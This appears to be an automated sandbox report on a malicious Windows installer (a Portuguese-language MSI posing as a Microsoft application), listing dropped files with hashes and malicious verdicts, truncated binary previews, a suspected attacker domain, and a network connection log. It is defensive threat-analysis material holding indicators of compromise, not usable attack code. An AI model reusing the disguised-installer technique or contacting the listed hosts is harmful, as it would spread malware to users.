Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L...R+Jd.........."!...#.<...........W.......P...............................0......5R....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIC805.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.469032452979565
Encrypted:	false
SSDEEP:	12288:g+zdBoU6TPAjp66Ulgc2zGz5gCxOWIGvn:HBoBTopk1QGz53sWIGvn
MD5:	CADBCF6F5A0199ECC0220CE23A860D89
SHA1:	073C149D68916520AEA882E588AB9A5AE083D75A
SHA-256:	42EF18C42FE06709F3C86157E2270358F3C93D14BE2E173B8FAE8EDCEFDDFCA0
SHA-512:	CEBB128BDC04E6B29DF74BEDCC375A340AC037563D828AF3455DE41F31D2E464F82F85C97CA9910A4A7C819EFA906AA4A4560174F184CEE316F53E3D2B5CDCCC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L...R+Jd.........."!...#.<...........W.......P...............................0......5R....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIC8F1.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.469032452979565
Encrypted:	false
SSDEEP:	12288:g+zdBoU6TPAjp66Ulgc2zGz5gCxOWIGvn:HBoBTopk1QGz53sWIGvn
MD5:	CADBCF6F5A0199ECC0220CE23A860D89
SHA1:	073C149D68916520AEA882E588AB9A5AE083D75A
SHA-256:	42EF18C42FE06709F3C86157E2270358F3C93D14BE2E173B8FAE8EDCEFDDFCA0
SHA-512:	CEBB128BDC04E6B29DF74BEDCC375A340AC037563D828AF3455DE41F31D2E464F82F85C97CA9910A4A7C819EFA906AA4A4560174F184CEE316F53E3D2B5CDCCC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L...R+Jd.........."!...#.<...........W.......P...............................0......5R....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSICA1B.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	866956
Entropy (8bit):	6.558683947575211
Encrypted:	false
SSDEEP:	24576://EEimJH6g7scSzMQDC5lfCZ/EEimJH6g7scSzMQDC5lfCs:XOmJH6g7sJzM+C5ZC1OmJH6g7sJzM+C3
MD5:	B89A59EF9395449E7538249A1F120E54
SHA1:	FE88297A595A4FF7B23F6301A73F0DB7C1AFCA2F
SHA-256:	F1503733440C035CB36087D5EC922355D17828C2B1583351E4B5AF08FEDC0F00
SHA-512:	83D2FA39C4F72EFAA0E9EBFB462A06524C8C3198E63A05EC0348FD90E9C3FD29EBFC40947EC76699E484F684EFE1DF8EBD2A6AB4A2AB9A258FD2C81FF969FF49
Malicious:	false
Preview:	...@IXOS.@.....@d..Y.@.....@.....@.....@.....@.....@......&.{7A2971C6-B41B-4A0D-A347-D721E39FEABC}..Aplicativo Windows$.APP-DANF0001S7D88002555555222S5S.msi.@.....@?....@.....@........&.{2710902A-DCAA-44B4-8B49-B1FC596E5C13}.....@.....@.....@.....@.......@.....@.....@.......@......Aplicativo Windows......Rollback..A.....o. .d.e. .r.e.s.t.a.u.r.a.....o.....RollbackCleanup..Removendo arquivos de backup..Arquivo: [1]...@.......@........ProcessComponents%.Atualizando o registro de componentes...@.....@.....@.]....&.{60715A9F-4AEC-4D83-B87A-914CE6AF84AD}..C:\Users\user\Documents\.@.......@.....@.....@......&.{232B65CE-07F2-4C09-8446-D0B152043BFA}1.01:\Software\Microsoft\Aplicativo Windows\Version.@.......@.....@.....@......&.{22B4B4EB-20D3-4CCD-A51F-EBD421917779}..01:\Microsoft\.@.......@.....@.....@......&.{3A6531DD-7594-4904-AAB9-32F10FD461DF}..01:\Microsoft\Windows\.@.......@.....@.....@......&.{4669957E-4874-4408-AF9D-19502B394F45}%.01:\Microsoft\Windows\CurrentVersion\.@.......@...

C:\Windows\Installer\MSID537.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	423936
Entropy (8bit):	6.554049394581909
Encrypted:	false
SSDEEP:	12288:B/ePEitwJH6g7scgFzMzMHf7h453V6hEFM:B/EEimJH6g7scSzMQDC5lfC
MD5:	768B35409005592DE2333371C6253BC8
SHA1:	E370B3CFD801FCDFDBEEC90B0F7CBEF5D2E6B69C
SHA-256:	33B519696A7F4B5D4714E3A363B0F0F76E6FF576A05999E482EA484AD4ACF5A5
SHA-512:	BB8FAE0FDCE3D61DAB48C1F79F3CE498159364D51FDFD2481CCA3A60D009F6134194D48EA20DE3E1F0C236BB9F6368F82D737A8153F7A1D492F44E197EA971CE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........5.g[..g[..g[.T.X..g[.T.^.)g[.8._..g[.8.X..g[.8.^..g[.T._..g[.T.]..g[.T.Z..g[..gZ.Kg[.^.R..g[.^....g[..g..g[.^.Y..g[.Rich.g[.................PE..L...s,Jd.........."....#..........................@.................................._....@..........................................p..8........................:..(...p...........................h...@...............l............................text.............................. ..`.rdata...R.......T..................@..@.data....7...0......................@....rsrc...8....p.......0..............@..@.reloc...:.......<...<..............@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSID558.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	423936
Entropy (8bit):	6.554049394581909
Encrypted:	false
SSDEEP:	12288:B/ePEitwJH6g7scgFzMzMHf7h453V6hEFM:B/EEimJH6g7scSzMQDC5lfC
MD5:	768B35409005592DE2333371C6253BC8
SHA1:	E370B3CFD801FCDFDBEEC90B0F7CBEF5D2E6B69C
SHA-256:	33B519696A7F4B5D4714E3A363B0F0F76E6FF576A05999E482EA484AD4ACF5A5
SHA-512:	BB8FAE0FDCE3D61DAB48C1F79F3CE498159364D51FDFD2481CCA3A60D009F6134194D48EA20DE3E1F0C236BB9F6368F82D737A8153F7A1D492F44E197EA971CE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........5.g[..g[..g[.T.X..g[.T.^.)g[.8._..g[.8.X..g[.8.^..g[.T._..g[.T.]..g[.T.Z..g[..gZ.Kg[.^.R..g[.^....g[..g..g[.^.Y..g[.Rich.g[.................PE..L...s,Jd.........."....#..........................@.................................._....@..........................................p..8........................:..(...p...........................h...@...............l............................text.............................. ..`.rdata...R.......T..................@..@.data....7...0......................@....rsrc...8....p.......0..............@..@.reloc...:.......<...<..............@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\SourceHash{7A2971C6-B41B-4A0D-A347-D721E39FEABC}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.175656489333555
Encrypted:	false
SSDEEP:	12:JSbX72FjLW/iAGiLIlHVRpHh/7777777777777777777777777vDHFOmDu8/4l0G:JY6QI5j/uCF
MD5:	9BB5C0712AD689A3D90603E0E9AC5DAB
SHA1:	EF214CF869BC08DB2C2B383D8459ADB125D98365
SHA-256:	DE7DDD82DFBBD45041D88C20B86A30E7328BDCEBCF52AC2E7F2B045627E535D4
SHA-512:	9463FA5BB11DEFB8E2B558732E509B58F9B9C5B96B50F8F57151DFAD106694537FF237FC70822D8D4F02F032C81A24AACAF30F8D56B38C50DA63C0A2F991C2AB
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5060314192871067
Encrypted:	false
SSDEEP:	48:n28PhiuRc06WXJGFT5l78UISyKAEbCyjMHMISyAT/f:Jhi1dFTbxIPRwC0MsIPEf
MD5:	5C42D952C8E57DB0464AEBD60641DDB4
SHA1:	8CBF06632F3881DBC9801330D7B0E33C30E1227B
SHA-256:	D8A335D67851B350AC248A57B2CE92A71F802E4B59B92811570A028F5026A4DC
SHA-512:	8D88832EF3C58D69B33A6F920613E87EE3EF272FDA0D93D9A620A6AE4A2C33B5790C8DF9457575A49DD9A7C7CC566217DCF9A480ECF4B0FD1C97B41B80BB3AA9
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	360001
Entropy (8bit):	5.362984299565381
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26Kgau+:zTtbmkExhMJCIpEP
MD5:	ECB2A07286A51CD8D12631B0BB426844
SHA1:	E659DD09B55A6618CA67FD8F948822FAD084756B
SHA-256:	822484F029122FAF65EFB959436CF6FE20A37F7C8C480B007DF177DC1D388DAA
SHA-512:	AB67076AC22BD20FC6C9DEB806D73AB721BE40D1C98A975E1A0C0FFE0A5FB5DB4ADE3C21CE26543EB3C24A751CC30C8F02706AF8799FD17FFF6DEC8A44883D2C
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\Temp\~DF13288D76F31F5442.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.211589345364535
Encrypted:	false
SSDEEP:	48:SanquaO+CFXJHT5X78UISyKAEbCyjMHMISyAT/f:BqovT5xIPRwC0MsIPEf
MD5:	D2E4251875AF4A122867437C1DCD9928
SHA1:	A7A6BE896E58A256421AAD07F5B3B7C5EF91C19F
SHA-256:	1090C0F576EAC55EB724FECD2BA7E893048DBFBB89F2FC9D392B4650CAF92CA1
SHA-512:	791B9B3B79FCC9A4796F59A1547E04E8CB70B4973CC9CF8F3315F1C22A06802C83CBA78D18FA1A58C4F06C9AFFD66D2D19FDA62CB7D9E4F1419665E7E7AA0482
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF188CFD34E93688ED.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5060314192871067
Encrypted:	false
SSDEEP:	48:n28PhiuRc06WXJGFT5l78UISyKAEbCyjMHMISyAT/f:Jhi1dFTbxIPRwC0MsIPEf
MD5:	5C42D952C8E57DB0464AEBD60641DDB4
SHA1:	8CBF06632F3881DBC9801330D7B0E33C30E1227B
SHA-256:	D8A335D67851B350AC248A57B2CE92A71F802E4B59B92811570A028F5026A4DC
SHA-512:	8D88832EF3C58D69B33A6F920613E87EE3EF272FDA0D93D9A620A6AE4A2C33B5790C8DF9457575A49DD9A7C7CC566217DCF9A480ECF4B0FD1C97B41B80BB3AA9
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF2CFCA060C258BC82.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	0.11608621638227241
Encrypted:	false
SSDEEP:	24:bJhvisoTxkIipVkSkIipVkKAEVkyjCyjMHVgwGbWA+K1:bfcTuISyVISyKAEbCyjMHJA7
MD5:	1D58BF917066DF45215B87A9AB6B3674
SHA1:	9688B57911257804C1F2FE73D797754514278F83
SHA-256:	12B78D8F30AD08AE6825F36393FD48266F0B9CA6215D9D14B1CD9797549CE75F
SHA-512:	042F00DB14857CAFDA5AAE06942F29BA5D3AADE21FFDE25AF9C5CD7706D5DE8DE8BB485BFB8F3B4C76C5F4A1B1070E9C0EEDFDE3BFB9B2BAC3F7B009C92FE067
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF2ED40046C0E07E59.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF4177892890FBB23D.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF733F1505FB17FC35.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF9966A4E559DBFE41.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.08046664302618683
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKOhE7SDzCBcQUZnzYVky6l4:2F0i8n0itFzDHFOmDu8/4
MD5:	F90332CDD8243607395F4FF072794107
SHA1:	350519D28157BF1B6B370E0727177EE728F2F50B
SHA-256:	DC857DDFCAF2DEA180D893E7B772CDE09D9F8F4D297C3589EDE8D32D1F06E893
SHA-512:	8CD05B619DD829EAFEC6ECF207D6F0C4E5926D4606E152A2C0A9B7A2B2AFD2F9B4B2896F703CE8F473B27B376A027E53801012F0EDA748AC264955CEA7EC1FFD
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF9E24CD866B0A2488.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.211589345364535
Encrypted:	false
SSDEEP:	48:SanquaO+CFXJHT5X78UISyKAEbCyjMHMISyAT/f:BqovT5xIPRwC0MsIPEf
MD5:	D2E4251875AF4A122867437C1DCD9928
SHA1:	A7A6BE896E58A256421AAD07F5B3B7C5EF91C19F
SHA-256:	1090C0F576EAC55EB724FECD2BA7E893048DBFBB89F2FC9D392B4650CAF92CA1
SHA-512:	791B9B3B79FCC9A4796F59A1547E04E8CB70B4973CC9CF8F3315F1C22A06802C83CBA78D18FA1A58C4F06C9AFFD66D2D19FDA62CB7D9E4F1419665E7E7AA0482
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	287
Entropy (8bit):	5.206271659097044
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoIRCw+A3RgcXaoD:J0+oxBeRmR9etdzRxGezHtama+
MD5:	857DE98C50DA1BF6AE679FA309999806
SHA1:	7B4C03FD3C783923619494EA80A068A228E99A8E
SHA-256:	DFD192B0E392C17D6DBF99E1A994F8BD9B08AEA45A2DFBA83015FAB06B8990AD
SHA-512:	5DF246B317BFBBF0A8A1FC070CC56A488EE10F44C87823C5A28861AC96C7231AC39ED78C0D583C57B2BF153DBE1F6350C341763347ED41CFFF508FCA17BE502D
Malicious:	false
URL:	http://senhordos-infects.digital/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<hr>.<address>Apache/2.4.52 (Ubuntu) Server at senhordos-infects.digital Port 80</address>.</body></html>.

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {2710902A-DCAA-44B4-8B49-B1FC596E5C13}, Number of Words: 10, Subject: Aplicativo Windows, Author: Microsoft, Name of Creating Application: Aplicativo Windows, Template: ;1046, Comments: Aplicativo Windows, Title: Installation Database, Keywords: Installer, MSI, Database, Create Time/Date: Sun Aug 4 16:04:58 2024, Number of Pages: 200
Entropy (8bit):	7.972209605713355
TrID:	Windows SDK Setup Transform Script (63028/2) 47.91% Microsoft Windows Installer (60509/1) 46.00% Generic OLE2 / Multistream Compound File (8008/1) 6.09%
File name:	APP-DANF0001S7D88002555555222S5S.msi
File size:	24'303'616 bytes
MD5:	7cd5dd8962ae35d5a64959401f8f1f29
SHA1:	871c93a994af6504bbb34eb08f7db4004b21500b
SHA256:	1caa3142c570e908b30b7a8195f84019dfca88619c6971d377a88bdda34572aa
SHA512:	d901d87dd685bfddc7e4c763e0092405a14f9105e381330ab9b46d812c0c276f7b622f8852224e29aeddd88d985f8208fdeba66cd00fe916accebca917bc2713
SSDEEP:	393216:JuG9qH2v09bLYik+rU9QmbFUyz520rA2/o/vW9jabEXtPYqjsMuvu58tdy4cR3Ji:IJPnkUwO4QiFTXtPAMG48+4W3JB
TLSH:	46373336B6DBC432E45D0177E929EE2E0579AEB3072140E7B7E43C6E84B4CC29771A52
File Content Preview:	........................>...................s.......................'...........G.......c.......u...............................O...P...Q...R...S...T...U...V...W..............................................................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2024 08:19:03.569778919 CEST	49673	443	192.168.2.6	173.222.162.64
Aug 5, 2024 08:19:03.571965933 CEST	49674	443	192.168.2.6	173.222.162.64
Aug 5, 2024 08:19:03.897938967 CEST	49672	443	192.168.2.6	173.222.162.64
Aug 5, 2024 08:19:11.538095951 CEST	49710	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:11.538146973 CEST	443	49710	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:11.538348913 CEST	49710	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:11.541316032 CEST	49710	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:11.541333914 CEST	443	49710	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:12.332362890 CEST	443	49710	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:12.332564116 CEST	49710	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:12.346506119 CEST	49710	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:12.346529007 CEST	443	49710	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:12.346935034 CEST	443	49710	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:12.384722948 CEST	49710	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:12.384849072 CEST	49710	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:12.384856939 CEST	443	49710	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:12.385051012 CEST	49710	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:12.428513050 CEST	443	49710	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:12.761590004 CEST	443	49710	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:12.761708021 CEST	443	49710	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:12.761888981 CEST	49710	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:12.770647049 CEST	49710	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:12.770678043 CEST	443	49710	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:12.770694971 CEST	49710	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:13.179152966 CEST	49674	443	192.168.2.6	173.222.162.64
Aug 5, 2024 08:19:13.179152966 CEST	49673	443	192.168.2.6	173.222.162.64
Aug 5, 2024 08:19:13.507256031 CEST	49672	443	192.168.2.6	173.222.162.64
Aug 5, 2024 08:19:15.081459045 CEST	49714	80	192.168.2.6	45.178.182.88
Aug 5, 2024 08:19:15.082321882 CEST	49715	80	192.168.2.6	45.178.182.88
Aug 5, 2024 08:19:15.086692095 CEST	80	49714	45.178.182.88	192.168.2.6
Aug 5, 2024 08:19:15.086793900 CEST	49714	80	192.168.2.6	45.178.182.88
Aug 5, 2024 08:19:15.087305069 CEST	80	49715	45.178.182.88	192.168.2.6
Aug 5, 2024 08:19:15.087373018 CEST	49715	80	192.168.2.6	45.178.182.88
Aug 5, 2024 08:19:15.089560986 CEST	49715	80	192.168.2.6	45.178.182.88
Aug 5, 2024 08:19:15.094543934 CEST	80	49715	45.178.182.88	192.168.2.6
Aug 5, 2024 08:19:15.168760061 CEST	443	49705	173.222.162.64	192.168.2.6
Aug 5, 2024 08:19:15.168868065 CEST	49705	443	192.168.2.6	173.222.162.64
Aug 5, 2024 08:19:16.154613972 CEST	80	49715	45.178.182.88	192.168.2.6
Aug 5, 2024 08:19:16.226294041 CEST	49715	80	192.168.2.6	45.178.182.88
Aug 5, 2024 08:19:16.231607914 CEST	80	49715	45.178.182.88	192.168.2.6
Aug 5, 2024 08:19:16.434995890 CEST	80	49715	45.178.182.88	192.168.2.6
Aug 5, 2024 08:19:16.489903927 CEST	49715	80	192.168.2.6	45.178.182.88
Aug 5, 2024 08:19:16.531996012 CEST	49715	80	192.168.2.6	45.178.182.88
Aug 5, 2024 08:19:16.536948919 CEST	80	49715	45.178.182.88	192.168.2.6
Aug 5, 2024 08:19:17.145241022 CEST	80	49715	45.178.182.88	192.168.2.6
Aug 5, 2024 08:19:17.295742989 CEST	49715	80	192.168.2.6	45.178.182.88
Aug 5, 2024 08:19:19.493963003 CEST	49720	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:19:19.494005919 CEST	443	49720	142.250.185.100	192.168.2.6
Aug 5, 2024 08:19:19.494313955 CEST	49720	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:19:19.494559050 CEST	49720	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:19:19.494580984 CEST	443	49720	142.250.185.100	192.168.2.6
Aug 5, 2024 08:19:19.858795881 CEST	49721	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:19.858834028 CEST	443	49721	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:19.859194040 CEST	49721	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:19.859956980 CEST	49721	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:19.859971046 CEST	443	49721	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:20.142112970 CEST	443	49720	142.250.185.100	192.168.2.6
Aug 5, 2024 08:19:20.161653042 CEST	49720	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:19:20.161678076 CEST	443	49720	142.250.185.100	192.168.2.6
Aug 5, 2024 08:19:20.165961981 CEST	443	49720	142.250.185.100	192.168.2.6
Aug 5, 2024 08:19:20.166043043 CEST	49720	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:19:20.167396069 CEST	49720	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:19:20.167645931 CEST	443	49720	142.250.185.100	192.168.2.6
Aug 5, 2024 08:19:20.287342072 CEST	49720	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:19:20.287374973 CEST	443	49720	142.250.185.100	192.168.2.6
Aug 5, 2024 08:19:20.396661997 CEST	49720	443	192.168.2.6	142.250.185.100
Aug 5, 2024 08:19:20.422388077 CEST	49722	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:20.422638893 CEST	443	49722	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:20.422768116 CEST	49722	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:20.424555063 CEST	49722	443	192.168.2.6	184.28.90.27
Aug 5, 2024 08:19:20.424606085 CEST	443	49722	184.28.90.27	192.168.2.6
Aug 5, 2024 08:19:20.638154030 CEST	443	49721	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:20.638243914 CEST	49721	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:20.640274048 CEST	49721	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:20.640284061 CEST	443	49721	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:20.640567064 CEST	443	49721	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:20.642317057 CEST	49721	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:20.642390966 CEST	49721	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:20.642398119 CEST	443	49721	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:20.642539978 CEST	49721	443	192.168.2.6	40.113.103.199
Aug 5, 2024 08:19:20.688498974 CEST	443	49721	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:20.812577963 CEST	443	49721	40.113.103.199	192.168.2.6
Aug 5, 2024 08:19:20.812680960 CEST	443	49721	40.113.103.199	192.168.2.6
